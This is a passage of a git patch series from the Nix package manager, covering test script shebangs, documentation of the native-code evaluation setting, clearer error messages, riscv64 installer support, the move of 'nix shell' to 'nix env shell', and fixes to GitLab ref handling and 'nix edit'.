b/tests/functional/test-libstoreconsumer.sh old mode 100644 new mode 100755 index 8a77cf5a1..d1a1accb6 --- a/tests/functional/test-libstoreconsumer.sh +++ b/tests/functional/test-libstoreconsumer.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh drv="$(nix-instantiate simple.nix)" diff --git a/tests/functional/timeout.sh b/tests/functional/timeout.sh old mode 100644 new mode 100755 index b179b79a2..441c83b0e --- a/tests/functional/timeout.sh +++ b/tests/functional/timeout.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test the `--timeout' option. source common.sh diff --git a/tests/functional/toString-path.sh b/tests/functional/toString-path.sh old mode 100644 new mode 100755 index 07eb87465..d790109f4 --- a/tests/functional/toString-path.sh +++ b/tests/functional/toString-path.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh mkdir -p $TEST_ROOT/foo diff --git a/tests/functional/user-envs-migration.sh b/tests/functional/user-envs-migration.sh old mode 100644 new mode 100755 index 187372b16..992586b95 --- a/tests/functional/user-envs-migration.sh +++ b/tests/functional/user-envs-migration.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test that the migration of user environments # (https://github.com/NixOS/nix/pull/5226) does preserve everything diff --git a/tests/functional/user-envs.sh b/tests/functional/user-envs.sh old mode 100644 new mode 100755 index a849d5439..ec9d036f8 --- a/tests/functional/user-envs.sh +++ b/tests/functional/user-envs.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh source ./user-envs-test-case.sh diff --git a/tests/functional/why-depends.sh b/tests/functional/why-depends.sh old mode 100644 new mode 100755 index 9680bf80e..69b365069 --- a/tests/functional/why-depends.sh +++ b/tests/functional/why-depends.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/zstd.sh b/tests/functional/zstd.sh old mode 100644 new mode 100755 index ba7c20501..3bf9d5601 --- a/tests/functional/zstd.sh +++ b/tests/functional/zstd.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore From 2bd66922eef1c41e74efe1cca722b0ee7d640af1 Mon Sep 17 00:00:00 2001 From: Philipp Date: Wed, 29 May 2024 01:05:40 +0200 Subject: [PATCH 0679/1251] add empty line to documentation comments after `@brief` field (#10800) * add empty line to documentation comments after `@brief` field Co-authored-by: Cole Helbling --- src/libexpr-c/nix_api_value.h | 1 + src/libstore-c/nix_api_store.h | 6 +++++- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/libexpr-c/nix_api_value.h b/src/libexpr-c/nix_api_value.h index b2b3439ef..f568b5c27 100644 --- a/src/libexpr-c/nix_api_value.h +++ b/src/libexpr-c/nix_api_value.h @@ -79,6 +79,7 @@ typedef struct nix_realised_string nix_realised_string; * @{ */ /** @brief Function pointer for primops + * * When you want to return an error, call nix_set_err_msg(context, NIX_ERR_UNKNOWN, "your error message here"). * * @param[in] user_data Arbitrary data that was initially supplied to nix_alloc_primop diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h index e9441be1a..d3cb8fab8 100644 --- a/src/libstore-c/nix_api_store.h +++ b/src/libstore-c/nix_api_store.h @@ -54,8 +54,10 @@ nix_err nix_libstore_init_no_load_config(nix_c_context * context); nix_err nix_init_plugins(nix_c_context * context); /** - * @brief Open a nix store + * @brief Open a nix store. + * * Store instances may share state and resources behind the scenes. + * * @param[out] context Optional, stores error information * @param[in] uri URI of the Nix store, copied. See [*Store URL format* in the Nix Reference * Manual](https://nixos.org/manual/nix/stable/store/types/#store-url-format). @@ -157,7 +159,9 @@ nix_err nix_store_realise( /** * @brief get the version of a nix store. + * * If the store doesn't have a version (like the dummy store), returns an empty string. + * * @param[out] context Optional, stores error information * @param[in] store nix store reference * @param[in] callback Called with the version. From 5786e1ae7c300b3c7434e7df99b41f180dc42e37 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Wed, 29 May 2024 09:50:51 +0200 Subject: [PATCH 0680/1251] docs: mention importNative/exec in allow-unsafe-native-code-during-evaluation (#10803) * docs: mention importNative/exec in allow-unsafe-native-code-during-evaluation Both of these still needs their own actual documentation, but they are at least now mentioned that they exist and what they're enabled by. Co-authored-by: Qyriad Co-authored-by: Valentin Gagarin --- src/libexpr/eval-settings.hh | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index 60d3a6f25..dbfc3b2c7 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -15,8 +15,24 @@ struct EvalSettings : Config static std::string resolvePseudoUrl(std::string_view url); - Setting enableNativeCode{this, false, "allow-unsafe-native-code-during-evaluation", - "Whether builtin functions that allow executing native code should be enabled."}; + Setting enableNativeCode{this, false, "allow-unsafe-native-code-during-evaluation", R"( + Enable built-in functions that allow executing native code. + + In particular, this adds: + - `builtins.importNative` *path* + + Load a dynamic shared object (DSO) at *path* which exposes a function pointer to a procedure that initialises a Nix language value, and return that value. + The procedure must have the following signature: + ```cpp + extern "C" typedef void (*ValueInitialiser) (EvalState & state, Value & v); + ``` + + The [Nix C++ API documentation](@docroot@/contributing/documentation.md#api-documentation) has more details on evaluator internals. + + - `builtins.exec` *arguments* + + Execute a program, where *arguments* are specified as a list of strings, and parse its output as a Nix expression. + )"}; Setting nixPath{ this, getDefaultNixPath(), "nix-path", From e2182d07d9320020993fe84baff262f81243501e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Sat, 25 May 2024 23:42:24 +0200 Subject: [PATCH 0681/1251] fixup extension of changelog entry --- .../{fix-silent-unknown-options => fix-silent-unknown-options.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename doc/manual/rl-next/{fix-silent-unknown-options => fix-silent-unknown-options.md} (100%) diff --git a/doc/manual/rl-next/fix-silent-unknown-options b/doc/manual/rl-next/fix-silent-unknown-options.md similarity index 100% rename from doc/manual/rl-next/fix-silent-unknown-options rename to doc/manual/rl-next/fix-silent-unknown-options.md From 18ac6545fc9081d943dbe007ea8f58c69b26279e Mon Sep 17 00:00:00 2001 From: Qyriad Date: Tue, 21 May 2024 05:29:52 -0600 Subject: [PATCH 0682/1251] print type and value in "flake attr is not a derivation" errors MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This turns errors like: error: flake output attribute 'hydraJobs' is not a derivation or path into errors like: error: expected flake output attribute 'hydraJobs' to be a derivation or path but found a set: { binaryTarball = «thunk»; build = «thunk»; etc> } This change affects all InstallableFlake commands. Source: https://git.lix.systems/lix-project/lix/commit/20981461d4a2a62c68f4bc7c4258473f7cd7d8e1 Signed-off-by: Jörg Thalheim --- .../print-value-in-installable-flake-error.md | 18 ++++++++++++++++++ src/libcmd/installable-flake.cc | 9 +++++++-- 2 files changed, 25 insertions(+), 2 deletions(-) create mode 100644 doc/manual/rl-next/print-value-in-installable-flake-error.md diff --git a/doc/manual/rl-next/print-value-in-installable-flake-error.md b/doc/manual/rl-next/print-value-in-installable-flake-error.md new file mode 100644 index 000000000..bb35e252e --- /dev/null +++ b/doc/manual/rl-next/print-value-in-installable-flake-error.md @@ -0,0 +1,18 @@ +--- +synopsis: New-cli flake commands that expect derivations now print the failing value and its type +prs: 10778 +--- + +In errors like `flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path`, the message now includes the failing value and type. + +Before: + +``` + error: flake output attribute 'nixosConfigurations.yuki.config' is not a derivation or path +```` + +After: + +``` + error: expected flake output attribute 'nixosConfigurations.yuki.config' to be a derivation or path but found a set: { appstream = «thunk»; assertions = «thunk»; boot = { bcache = «thunk»; binfmt = «thunk»; binfmtMiscRegistrations = «thunk»; blacklistedKernelModules = «thunk»; bootMount = «thunk»; bootspec = «thunk»; cleanTmpDir = «thunk»; consoleLogLevel = «thunk»; «43 attributes elided» }; «48 attributes elided» } +``` diff --git a/src/libcmd/installable-flake.cc b/src/libcmd/installable-flake.cc index 6ff837ddc..d42fa7aac 100644 --- a/src/libcmd/installable-flake.cc +++ b/src/libcmd/installable-flake.cc @@ -106,9 +106,14 @@ DerivedPathsWithInfo InstallableFlake::toDerivedPaths() fmt("while evaluating the flake output attribute '%s'", attrPath))) { return { *derivedPathWithInfo }; + } else { + throw Error( + "expected flake output attribute '%s' to be a derivation or path but found %s: %s", + attrPath, + showType(v), + ValuePrinter(*this->state, v, errorPrintOptions) + ); } - else - throw Error("flake output attribute '%s' is not a derivation or path", attrPath); } auto drvPath = attr->forceDerivation(); From 1c70eb8eee8a439443736f226bda60b69a69f9a4 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 29 May 2024 21:42:53 +0200 Subject: [PATCH 0683/1251] libcmd: Fix #10774 --- src/libcmd/common-eval-args.cc | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/libcmd/common-eval-args.cc b/src/libcmd/common-eval-args.cc index 155b43b70..cd0f19257 100644 --- a/src/libcmd/common-eval-args.cc +++ b/src/libcmd/common-eval-args.cc @@ -20,7 +20,7 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the value *expr* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "expr"}, - .handler = {[&](std::string name, std::string expr) { autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr(expr)}); }} + .handler = {[&](std::string name, std::string expr) { autoArgs.insert_or_assign(name, AutoArg{AutoArgExpr{expr}}); }} }); addFlag({ @@ -28,7 +28,7 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the string *string* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "string"}, - .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString(s)}); }}, + .handler = {[&](std::string name, std::string s) { autoArgs.insert_or_assign(name, AutoArg{AutoArgString{s}}); }}, }); addFlag({ @@ -36,7 +36,7 @@ MixEvalArgs::MixEvalArgs() .description = "Pass the contents of file *path* as the argument *name* to Nix functions.", .category = category, .labels = {"name", "path"}, - .handler = {[&](std::string name, std::string path) { autoArgs.insert_or_assign(name, AutoArg{AutoArgFile(path)}); }}, + .handler = {[&](std::string name, std::string path) { autoArgs.insert_or_assign(name, AutoArg{AutoArgFile{path}}); }}, .completer = completePath }); From 0ed356f3c0d6d7e716d113e563c89dcdbd92b11e Mon Sep 17 00:00:00 2001 From: "J. Dekker" Date: Thu, 30 May 2024 15:03:20 +0200 Subject: [PATCH 0684/1251] scripts/install.in: add riscv64 support to installer The artifacts are already built and hosted, the install script just needs to be taught about riscv64. Signed-off-by: J. Dekker --- scripts/install.in | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/scripts/install.in b/scripts/install.in index 7d2e52b26..b4e808d8e 100755 --- a/scripts/install.in +++ b/scripts/install.in @@ -50,6 +50,11 @@ case "$(uname -s).$(uname -m)" in path=@tarballPath_armv7l-linux@ system=armv7l-linux ;; + Linux.riscv64) + hash=@tarballHash_riscv64-linux@ + path=@tarballPath_riscv64-linux@ + system=riscv64-linux + ;; Darwin.x86_64) hash=@tarballHash_x86_64-darwin@ path=@tarballPath_x86_64-darwin@ From 98b85b2166736f08ae7e4a5e0014e92c8c79ebf7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 30 May 2024 18:19:22 +0200 Subject: [PATCH 0685/1251] nix/main: Add AliasStatus::{Deprecated,AcceptedShorthand} --- src/nix/main.cc | 68 ++++++++++++++++++++++++++++++------------------- 1 file changed, 42 insertions(+), 26 deletions(-) diff --git a/src/nix/main.cc b/src/nix/main.cc index 541d1a1b3..3602402ae 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -42,6 +42,19 @@ void chrootHelper(int argc, char * * argv); namespace nix { +enum struct AliasStatus { + /** Aliases that don't go away */ + AcceptedShorthand, + /** Aliases that will go away */ + Deprecated, +}; + +/** An alias, except for the original syntax, which is in the map key. */ +struct AliasInfo { + AliasStatus status; + std::vector replacement; +}; + /* Check if we have a non-loopback/link-local network interface. */ static bool haveInternet() { @@ -134,29 +147,29 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs }); } - std::map> aliases = { - {"add-to-store", {"store", "add-path"}}, - {"cat-nar", {"nar", "cat"}}, - {"cat-store", {"store", "cat"}}, - {"copy-sigs", {"store", "copy-sigs"}}, - {"dev-shell", {"develop"}}, - {"diff-closures", {"store", "diff-closures"}}, - {"dump-path", {"store", "dump-path"}}, - {"hash-file", {"hash", "file"}}, - {"hash-path", {"hash", "path"}}, - {"ls-nar", {"nar", "ls"}}, - {"ls-store", {"store", "ls"}}, - {"make-content-addressable", {"store", "make-content-addressed"}}, - {"optimise-store", {"store", "optimise"}}, - {"ping-store", {"store", "ping"}}, - {"sign-paths", {"store", "sign"}}, - {"show-derivation", {"derivation", "show"}}, - {"show-config", {"config", "show"}}, - {"to-base16", {"hash", "to-base16"}}, - {"to-base32", {"hash", "to-base32"}}, - {"to-base64", {"hash", "to-base64"}}, - {"verify", {"store", "verify"}}, - {"doctor", {"config", "check"}}, + std::map aliases = { + {"add-to-store", { AliasStatus::Deprecated, {"store", "add-path"}}}, + {"cat-nar", { AliasStatus::Deprecated, {"nar", "cat"}}}, + {"cat-store", { AliasStatus::Deprecated, {"store", "cat"}}}, + {"copy-sigs", { AliasStatus::Deprecated, {"store", "copy-sigs"}}}, + {"dev-shell", { AliasStatus::Deprecated, {"develop"}}}, + {"diff-closures", { AliasStatus::Deprecated, {"store", "diff-closures"}}}, + {"dump-path", { AliasStatus::Deprecated, {"store", "dump-path"}}}, + {"hash-file", { AliasStatus::Deprecated, {"hash", "file"}}}, + {"hash-path", { AliasStatus::Deprecated, {"hash", "path"}}}, + {"ls-nar", { AliasStatus::Deprecated, {"nar", "ls"}}}, + {"ls-store", { AliasStatus::Deprecated, {"store", "ls"}}}, + {"make-content-addressable", { AliasStatus::Deprecated, {"store", "make-content-addressed"}}}, + {"optimise-store", { AliasStatus::Deprecated, {"store", "optimise"}}}, + {"ping-store", { AliasStatus::Deprecated, {"store", "ping"}}}, + {"sign-paths", { AliasStatus::Deprecated, {"store", "sign"}}}, + {"show-derivation", { AliasStatus::Deprecated, {"derivation", "show"}}}, + {"show-config", { AliasStatus::Deprecated, {"config", "show"}}}, + {"to-base16", { AliasStatus::Deprecated, {"hash", "to-base16"}}}, + {"to-base32", { AliasStatus::Deprecated, {"hash", "to-base32"}}}, + {"to-base64", { AliasStatus::Deprecated, {"hash", "to-base64"}}}, + {"verify", { AliasStatus::Deprecated, {"store", "verify"}}}, + {"doctor", { AliasStatus::Deprecated, {"config", "check"}}}, }; bool aliasUsed = false; @@ -167,10 +180,13 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs auto arg = *pos; auto i = aliases.find(arg); if (i == aliases.end()) return pos; - warn("'%s' is a deprecated alias for '%s'", - arg, concatStringsSep(" ", i->second)); + auto & info = i->second; + if (info.status == AliasStatus::Deprecated) { + warn("'%s' is a deprecated alias for '%s'", + arg, concatStringsSep(" ", info.replacement)); + } pos = args.erase(pos); - for (auto j = i->second.rbegin(); j != i->second.rend(); ++j) + for (auto j = info.replacement.rbegin(); j != info.replacement.rend(); ++j) pos = args.insert(pos, *j); aliasUsed = true; return pos; From c692f6af132dc62f72edbb2c7a73bfa838398904 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 30 May 2024 18:22:11 +0200 Subject: [PATCH 0686/1251] nix env shell: Move from nix shell, add shorthand alias --- doc/manual/rl-next/nix-env-shell.md | 12 ++++ src/nix/env.cc | 98 +++++++++++++++++++++++++++++ src/nix/main.cc | 1 + src/nix/run.cc | 77 ----------------------- tests/functional/shell.sh | 3 + 5 files changed, 114 insertions(+), 77 deletions(-) create mode 100644 doc/manual/rl-next/nix-env-shell.md create mode 100644 src/nix/env.cc diff --git a/doc/manual/rl-next/nix-env-shell.md b/doc/manual/rl-next/nix-env-shell.md new file mode 100644 index 000000000..b2344417a --- /dev/null +++ b/doc/manual/rl-next/nix-env-shell.md @@ -0,0 +1,12 @@ +--- +synopsis: "`nix env shell` is the new `nix shell`, and `nix shell` remains an accepted alias" +issues: 10504 +prs: 10807 +--- + +This is part of an effort to bring more structure to the CLI subcommands. + +`nix env` will be about the process environment. +Future commands may include `nix env run` and `nix env print-env`. + +It is also somewhat analogous to the [planned](https://github.com/NixOS/nix/issues/10504) `nix dev shell` (currently `nix develop`), which is less about environment variables, and more about running a development shell, which is a more powerful command, but also requires more setup. diff --git a/src/nix/env.cc b/src/nix/env.cc new file mode 100644 index 000000000..47efdf308 --- /dev/null +++ b/src/nix/env.cc @@ -0,0 +1,98 @@ +#include "command.hh" +#include "run.hh" +#include + +using namespace nix; + +struct CmdEnv : NixMultiCommand +{ + CmdEnv() : NixMultiCommand("env", RegisterCommand::getCommandsFor({"env"})) + { } + + std::string description() override + { + return "manipulate the process environment"; + } + + Category category() override { return catUtility; } +}; + +static auto rCmdEnv = registerCommand("env"); + +struct CmdShell : InstallablesCommand, MixEnvironment +{ + + using InstallablesCommand::run; + + std::vector command = { getEnv("SHELL").value_or("bash") }; + + CmdShell() + { + addFlag({ + .longName = "command", + .shortName = 'c', + .description = "Command and arguments to be executed, defaulting to `$SHELL`", + .labels = {"command", "args"}, + .handler = {[&](std::vector ss) { + if (ss.empty()) throw UsageError("--command requires at least one argument"); + command = ss; + }} + }); + } + + std::string description() override + { + return "run a shell in which the specified packages are available"; + } + + std::string doc() override + { + return + #include "shell.md" + ; + } + + void run(ref store, Installables && installables) override + { + auto outPaths = Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables); + + auto accessor = store->getFSAccessor(); + + std::unordered_set done; + std::queue todo; + for (auto & path : outPaths) todo.push(path); + + setEnviron(); + + std::vector pathAdditions; + + while (!todo.empty()) { + auto path = todo.front(); + todo.pop(); + if (!done.insert(path).second) continue; + + if (true) + pathAdditions.push_back(store->printStorePath(path) + "/bin"); + + auto propPath = accessor->resolveSymlinks( + CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages"); + if (auto st = accessor->maybeLstat(propPath); st && st->type == SourceAccessor::tRegular) { + for (auto & p : tokenizeString(accessor->readFile(propPath))) + todo.push(store->parseStorePath(p)); + } + } + + auto unixPath = tokenizeString(getEnv("PATH").value_or(""), ":"); + unixPath.insert(unixPath.begin(), pathAdditions.begin(), pathAdditions.end()); + auto unixPathString = concatStringsSep(":", unixPath); + setEnv("PATH", unixPathString.c_str()); + + Strings args; + for (auto & arg : command) args.push_back(arg); + + runProgramInStore(store, UseLookupPath::Use, *command.begin(), args); + } +}; + +static auto rCmdShell = registerCommand2({"env", "shell"}); + diff --git a/src/nix/main.cc b/src/nix/main.cc index 3602402ae..94fd05fba 100644 --- a/src/nix/main.cc +++ b/src/nix/main.cc @@ -163,6 +163,7 @@ struct NixArgs : virtual MultiCommand, virtual MixCommonArgs, virtual RootArgs {"optimise-store", { AliasStatus::Deprecated, {"store", "optimise"}}}, {"ping-store", { AliasStatus::Deprecated, {"store", "ping"}}}, {"sign-paths", { AliasStatus::Deprecated, {"store", "sign"}}}, + {"shell", { AliasStatus::AcceptedShorthand, {"env", "shell"}}}, {"show-derivation", { AliasStatus::Deprecated, {"derivation", "show"}}}, {"show-config", { AliasStatus::Deprecated, {"config", "show"}}}, {"to-base16", { AliasStatus::Deprecated, {"hash", "to-base16"}}}, diff --git a/src/nix/run.cc b/src/nix/run.cc index cc999ddf4..7d3122470 100644 --- a/src/nix/run.cc +++ b/src/nix/run.cc @@ -71,83 +71,6 @@ void runProgramInStore(ref store, } -struct CmdShell : InstallablesCommand, MixEnvironment -{ - - using InstallablesCommand::run; - - std::vector command = { getEnv("SHELL").value_or("bash") }; - - CmdShell() - { - addFlag({ - .longName = "command", - .shortName = 'c', - .description = "Command and arguments to be executed, defaulting to `$SHELL`", - .labels = {"command", "args"}, - .handler = {[&](std::vector ss) { - if (ss.empty()) throw UsageError("--command requires at least one argument"); - command = ss; - }} - }); - } - - std::string description() override - { - return "run a shell in which the specified packages are available"; - } - - std::string doc() override - { - return - #include "shell.md" - ; - } - - void run(ref store, Installables && installables) override - { - auto outPaths = Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables); - - auto accessor = store->getFSAccessor(); - - std::unordered_set done; - std::queue todo; - for (auto & path : outPaths) todo.push(path); - - setEnviron(); - - std::vector pathAdditions; - - while (!todo.empty()) { - auto path = todo.front(); - todo.pop(); - if (!done.insert(path).second) continue; - - if (true) - pathAdditions.push_back(store->printStorePath(path) + "/bin"); - - auto propPath = accessor->resolveSymlinks( - CanonPath(store->printStorePath(path)) / "nix-support" / "propagated-user-env-packages"); - if (auto st = accessor->maybeLstat(propPath); st && st->type == SourceAccessor::tRegular) { - for (auto & p : tokenizeString(accessor->readFile(propPath))) - todo.push(store->parseStorePath(p)); - } - } - - auto unixPath = tokenizeString(getEnv("PATH").value_or(""), ":"); - unixPath.insert(unixPath.begin(), pathAdditions.begin(), pathAdditions.end()); - auto unixPathString = concatStringsSep(":", unixPath); - setEnv("PATH", unixPathString.c_str()); - - Strings args; - for (auto & arg : command) args.push_back(arg); - - runProgramInStore(store, UseLookupPath::Use, *command.begin(), args); - } -}; - -static auto rCmdShell = registerCommand("shell"); - struct CmdRun : InstallableValueCommand { using InstallableCommand::run; diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh index e6bb4b161..1760eefff 100755 --- a/tests/functional/shell.sh +++ b/tests/functional/shell.sh @@ -5,6 +5,9 @@ source common.sh clearStore clearCache +# nix shell is an alias for nix env shell. We'll use the shorter form in the rest of the test. +nix env shell -f shell-hello.nix hello -c hello | grep 'Hello World' + nix shell -f shell-hello.nix hello -c hello | grep 'Hello World' nix shell -f shell-hello.nix hello -c hello NixOS | grep 'Hello NixOS' From d93cc11491f2ebba81ebb56ef8faa1b29bb7699a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 30 May 2024 18:40:53 +0200 Subject: [PATCH 0687/1251] Format --- src/nix/env.cc | 50 +++++++++++++++++++++++++++++--------------------- 1 file changed, 29 insertions(+), 21 deletions(-) diff --git a/src/nix/env.cc b/src/nix/env.cc index 47efdf308..021c47cbb 100644 --- a/src/nix/env.cc +++ b/src/nix/env.cc @@ -6,15 +6,20 @@ using namespace nix; struct CmdEnv : NixMultiCommand { - CmdEnv() : NixMultiCommand("env", RegisterCommand::getCommandsFor({"env"})) - { } + CmdEnv() + : NixMultiCommand("env", RegisterCommand::getCommandsFor({"env"})) + { + } std::string description() override { return "manipulate the process environment"; } - Category category() override { return catUtility; } + Category category() override + { + return catUtility; + } }; static auto rCmdEnv = registerCommand("env"); @@ -24,20 +29,20 @@ struct CmdShell : InstallablesCommand, MixEnvironment using InstallablesCommand::run; - std::vector command = { getEnv("SHELL").value_or("bash") }; + std::vector command = {getEnv("SHELL").value_or("bash")}; CmdShell() { - addFlag({ - .longName = "command", - .shortName = 'c', - .description = "Command and arguments to be executed, defaulting to `$SHELL`", - .labels = {"command", "args"}, - .handler = {[&](std::vector ss) { - if (ss.empty()) throw UsageError("--command requires at least one argument"); - command = ss; - }} - }); + addFlag( + {.longName = "command", + .shortName = 'c', + .description = "Command and arguments to be executed, defaulting to `$SHELL`", + .labels = {"command", "args"}, + .handler = {[&](std::vector ss) { + if (ss.empty()) + throw UsageError("--command requires at least one argument"); + command = ss; + }}}); } std::string description() override @@ -48,19 +53,21 @@ struct CmdShell : InstallablesCommand, MixEnvironment std::string doc() override { return - #include "shell.md" - ; +#include "shell.md" + ; } void run(ref store, Installables && installables) override { - auto outPaths = Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables); + auto outPaths = + Installable::toStorePaths(getEvalStore(), store, Realise::Outputs, OperateOn::Output, installables); auto accessor = store->getFSAccessor(); std::unordered_set done; std::queue todo; - for (auto & path : outPaths) todo.push(path); + for (auto & path : outPaths) + todo.push(path); setEnviron(); @@ -69,7 +76,8 @@ struct CmdShell : InstallablesCommand, MixEnvironment while (!todo.empty()) { auto path = todo.front(); todo.pop(); - if (!done.insert(path).second) continue; + if (!done.insert(path).second) + continue; if (true) pathAdditions.push_back(store->printStorePath(path) + "/bin"); @@ -88,11 +96,11 @@ struct CmdShell : InstallablesCommand, MixEnvironment setEnv("PATH", unixPathString.c_str()); Strings args; - for (auto & arg : command) args.push_back(arg); + for (auto & arg : command) + args.push_back(arg); runProgramInStore(store, UseLookupPath::Use, *command.begin(), args); } }; static auto rCmdShell = registerCommand2({"env", "shell"}); - From 73f9afd71626120c2ffcd06b7ae66a7ec6787e36 Mon Sep 17 00:00:00 2001 From: "J. Dekker" Date: Thu, 30 May 2024 20:11:28 +0200 Subject: [PATCH 0688/1251] upload-release.pl: add riscv64 to nix-fallback-paths.nix This uses the x86_64-linux's cross-compiled output as we don't have a native riscv64 builder. Signed-off-by: J. Dekker --- maintainers/upload-release.pl | 1 + 1 file changed, 1 insertion(+) diff --git a/maintainers/upload-release.pl b/maintainers/upload-release.pl index 9e73524a6..4c4e2bd6f 100755 --- a/maintainers/upload-release.pl +++ b/maintainers/upload-release.pl @@ -243,6 +243,7 @@ write_file("$tmpDir/fallback-paths.nix", " x86_64-linux = \"" . getStorePath("build.x86_64-linux") . "\";\n" . " i686-linux = \"" . getStorePath("build.i686-linux") . "\";\n" . " aarch64-linux = \"" . getStorePath("build.aarch64-linux") . "\";\n" . + " riscv64-linux = \"" . getStorePath("buildCross.riscv64-unknown-linux-gnu.x86_64-linux") . "\";\n" . " x86_64-darwin = \"" . getStorePath("build.x86_64-darwin") . "\";\n" . " aarch64-darwin = \"" . getStorePath("build.aarch64-darwin") . "\";\n" . "}\n"); From a9031978da28a3cf759d64b36cbac131c8323945 Mon Sep 17 00:00:00 2001 From: Linus Heckemann Date: Thu, 30 May 2024 23:20:42 +0200 Subject: [PATCH 0689/1251] libfetchers: handle nonexistent refs in GitLab repos more gracefully MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Before: $ nix flake lock --override-input nixpkgs gitlab:simple-nixos-mailserver/nixos-mailserver/nonexistent fetching git input 'git+file:///home/linus/projects/lix' fetching gitlab input 'gitlab:simple-nixos-mailserver/nixos-mailserver/nonexistent' error: [json.exception.type_error.302] type must be string, but is null After: /tmp/inst/bin/nix flake lock --override-input nixpkgs gitlab:simple-nixos-mailserver/nixos-mailserver/nonexistent warning: unknown experimental feature 'repl-flake' error: … while updating the lock file of flake 'git+file:///home/joerg/git/nix?ref=refs/heads/master&rev=62693c2c37c8edd92f95114eb1387b461fc671df' … while updating the flake input 'nixpkgs' … while fetching the input 'gitlab:simple-nixos-mailserver/nixos-mailserver/nonexistent' error: No commits returned by GitLab API -- does the git ref really exist? Adapted from: https://git.lix.systems/lix-project/lix/commit/3df013597d7a2b5e400839e6625c05bd47de4dca --- src/libfetchers/github.cc | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc index d62a7482e..267e8607f 100644 --- a/src/libfetchers/github.cc +++ b/src/libfetchers/github.cc @@ -433,9 +433,15 @@ struct GitLabInputScheme : GitArchiveInputScheme store->toRealPath( downloadFile(store, url, "source", headers).storePath))); - return RefInfo { - .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1) - }; + if (json.is_array() && json.size() == 1 && json[0]["id"] != nullptr) { + return RefInfo { + .rev = Hash::parseAny(std::string(json[0]["id"]), HashAlgorithm::SHA1) + }; + } if (json.is_array() && json.size() == 0) { + throw Error("No commits returned by GitLab API -- does the git ref really exist?"); + } else { + throw Error("Unexpected response received from GitLab: %s", json); + } } DownloadUrl getDownloadUrl(const Input & input) const override From e1a817fb1bd8e622172800258000820d7d0c8092 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Fri, 31 May 2024 10:38:55 +0200 Subject: [PATCH 0690/1251] fix nix edit in pure mode FilteringSourceAccessor was not delegating getPhysicalPath to its inner accessor. --- src/libfetchers/filtering-source-accessor.cc | 6 ++++++ src/libfetchers/filtering-source-accessor.hh | 2 ++ 2 files changed, 8 insertions(+) diff --git a/src/libfetchers/filtering-source-accessor.cc b/src/libfetchers/filtering-source-accessor.cc index dfd9e536d..d4557b6d4 100644 --- a/src/libfetchers/filtering-source-accessor.cc +++ b/src/libfetchers/filtering-source-accessor.cc @@ -2,6 +2,12 @@ namespace nix { +std::optional FilteringSourceAccessor::getPhysicalPath(const CanonPath & path) +{ + checkAccess(path); + return next->getPhysicalPath(prefix / path); +} + std::string FilteringSourceAccessor::readFile(const CanonPath & path) { checkAccess(path); diff --git a/src/libfetchers/filtering-source-accessor.hh b/src/libfetchers/filtering-source-accessor.hh index 9ec7bc21f..1f8d84e53 100644 --- a/src/libfetchers/filtering-source-accessor.hh +++ b/src/libfetchers/filtering-source-accessor.hh @@ -30,6 +30,8 @@ struct FilteringSourceAccessor : SourceAccessor displayPrefix.clear(); } + std::optional getPhysicalPath(const CanonPath & path) override; + std::string readFile(const CanonPath & path) override; bool pathExists(const CanonPath & path) override; From 69c159811ea280836d01f2968ae1c7bf3bda1a94 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Fri, 31 May 2024 11:04:50 +0200 Subject: [PATCH 0691/1251] add regression test for nix edit --- tests/functional/flakes/edit.sh | 13 +++++++++++++ tests/functional/local.mk | 1 + tests/functional/simple.nix | 1 + 3 files changed, 15 insertions(+) create mode 100755 tests/functional/flakes/edit.sh diff --git 